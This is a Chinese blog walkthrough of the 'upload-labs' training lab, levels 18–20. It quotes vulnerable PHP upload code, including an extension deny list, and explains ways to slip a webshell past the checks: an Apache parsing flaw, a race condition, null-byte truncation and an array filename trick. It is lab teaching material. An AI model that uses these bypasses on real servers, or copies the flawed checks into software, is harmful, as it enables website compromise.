......  /** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();  //查看服务器本地是否有了临时的文件,证明有没有上次成功if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->setDir( $dir );   //查看传过来的参数是否可写if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkExtension();   //与白名单进行比较if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkSize();    //检查文件大小有没有大于规定的最大文件大小if( $ret != 1 ){return $this->resultUpload( $ret );    }// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){   //等于1进行判断  文件上传前是否就存在(默认为0)$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret );    }}// if we are here, we are ready to move the file to destination$ret = $this->move();    //先以上传的文件名保持在指定的目录下if( $ret != 1 ){return $this->resultUpload( $ret );    }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){     //等于1就生成新的随机文件名,此时成功改名(默认为1)$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret );    }}// if we are here, everything worked as planned :)return $this->resultUpload( "SUCCESS" );}
......
......
......
};
  1. 解题思路:该题有两种解法。①利用图片马和文件包含漏洞;②利用Apache的解析漏洞,上传shell.php.7z文件。这里使用第二种方法。解析漏洞讲解:
    一.https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/
    二.https://blog.csdn.net/qq_32434307/article/details/79480316
    三.https://www.cnblogs.com/milantgh/p/5116955.html

  2. 具体实操:
       操作与Pass-17差不多就不操作了(拦截http://172.16.38.128/Pass-17/index.php上传文件的包和利用时间差访问http://172.16.38.128/upload/phpinfo.php)
       注意:本人在操作时,一开始没有清空参数导致无数次攻击就好像只上传了一次,导致无法成功生成木马文件(不知道是什么原因,按道理来说不应该这样,求大佬解答!!!)。


Pass-19-黑名单-0x00截断

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);   //返回后缀if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
  1. 解决思路:该关为黑名单。可以通过0x00绕过(因为是post提交,所以要改一下二进制)。前提条件是:PHP的版本要小于等于5.3.4和在php.ini文件中magic_quotes_gpc=Off。

  2. 具体实操:


         注解:上传之后取后缀时应该取得.php0。所以可以通过黑名单。


Pass-20-数组绕过

  1. 源码:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}
  1. 解决思路:该关为白名单,首先判断了MIME类型再判断文件的后缀名。(观看:https://blog.csdn.net/u014029795/article/details/102917199)

  2. 具体实操:

upload-labs攻略相关推荐

  1. puppet完全攻略(一)puppet应用原理及安装部署

    puppet完全攻略(一)puppet应用原理及安装部署 puppet简介   puppet官方网站:http://www.puppetlabs.com/ puppet中文wiki:http://pu ...

  2. GitHub:GitHub简介、使用方法、经验总结(图文教程)之详细攻略(持续更新!)

    GitHub:GitHub简介.使用方法.经验总结(图文教程)之详细攻略(持续更新!) 目录 GitHub简介 1.GitHub发展历程 2.GitHub特点 3.GitHub六大基本功能 4.Git ...

  3. Tool之curl:curl的简介、安装、使用方法之详细攻略

    Tool之curl:curl的简介.安装.使用方法之详细攻略 目录 curl的简介 curl的安装 1.curl在Windows10安装教程 curl的使用方法 1.curl在windows的cmd内 ...

  4. 【云栖大会夺宝攻略】在线PK、打卡领奖、抢offer,开发者专属玩法在这里

    简介:云栖大会2020就要来了! 什么才是开发者专属"游园"姿势? 丰厚"宝藏"如何免费拿? 不要慌!游玩入口就在下面,快点击图片去"夺宝" ...

  5. win2000/2003 Discuz生存环境搭建及基础优化 攻略

    副标题: win2000/2003 Php+ZendOptimizer+Mysql+eaccelerator配置及基础优化全攻略 关键字  discuz php zendoptimizer mysql ...

  6. wps改照片底色有红边_入学攻略丨证件照的三种换底色方式,你知道了吗?

    46 ♡ 关注集大情报局,更多资讯马上奉上! 本文共计3097字,很多图,建议阅读时间:15分钟 [长文预警] 最近不少人在后台提问 开学要不要带证件照 要带什么底色的证件照 要带几寸的证件照 要带几 ...

  7. IAP(程序内购买): 完全攻略

    第一印象觉得In-App Purchase(简称IAP)非常简单.Apple提供的大量文档应该让开发者很快熟悉地熟悉.那么,为什么在你的应用中集成IAP特性就如此令人生厌呢?  这是因为在开发过程中不 ...

  8. 大航海时代2阿兰攻略(SFC日版)(续)

    续,前文是 [url=http://xieye.iteye.com/blog/1376049]http://xieye.iteye.com/blog/1376049[/url] 本文部分引用了nskb ...

  9. 浅谈AWD攻防赛的生存攻略

    AWD 规则 AWD:Attack With Defence,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层.系统层.中间件层等),利用漏洞 ...

  10. DARKHOLE_1攻略

    DARKHOLE_1攻略 简介DARKHOLE_1攻略攻击环境:kali被攻击环境:ubuntukali IP:192.168.133.131ubuntu IP : 未知1.主机发现​ 因为攻击机与被 ...

最新文章

  1. matlab power
  2. Edge X Kubernetes Meetup,探索云原生新边界
  3. 在C#代码中应用Log4Net(五)将Log4Net正确地封装在自己的类库中并进行调用
  4. 进程相关概念、C程序的空间分配
  5. 【LeetCode笔记 - 每日一题】334. 递增的三元子序列(Java、偏思路)
  6. cad画直角命令_炸了,CAD fro命令配合tk命令,极轴追踪无敌!
  7. Linux内核workqueue
  8. 【论文笔记】Neural Graph Collaborative Filtering
  9. Pytorch遍历DataLoader时报错BrokenPipeError: [Errno 32] Broken pipe
  10. python matplotlib包图像配色方案
  11. 在搭建tesseract-OCR环境中遇到问题和反省
  12. 苹果激活锁功能降低iPhone盗窃案发案率
  13. IOS 高德地图导航
  14. Linux vi命令修改文件内容笔记
  15. django的文档信息
  16. 计算机培训通知,关于开展上海师范大学2018年计算机办公自动化免费培训的通知...
  17. wifi物理地址怎么改_安卓手机修改wifi物理mac地址的三种方法
  18. 学习python必备软件
  19. 单波段彩色变换(伪彩色密度分割)
  20. 诺基亚Vertu又出奢华新版本

热门文章

  1. 月播放量增长2300倍,品牌如何在B站迅速打造爆品?
  2. mysql以性别分组_sql语句 根据年纪阶段统计人数 根据性别分组
  3. Android:SQLite数据库学习小结
  4. 制作rpm包的过程可能会遇见的一些问题
  5. DSPE-PEG6-Mal,C60H111N2O17P小分子PEG试剂化学性质
  6. LoadBalancer 负载均衡
  7. 腾讯云离线语音识别sdk
  8. c语言练习之路4之浙大版《C语言程序设计实验与习题指导(第3版)》题目集
  9. STM32F7 硬件IIC驱动
  10. uni-app ios 添加测试新设备,只需下载描述文件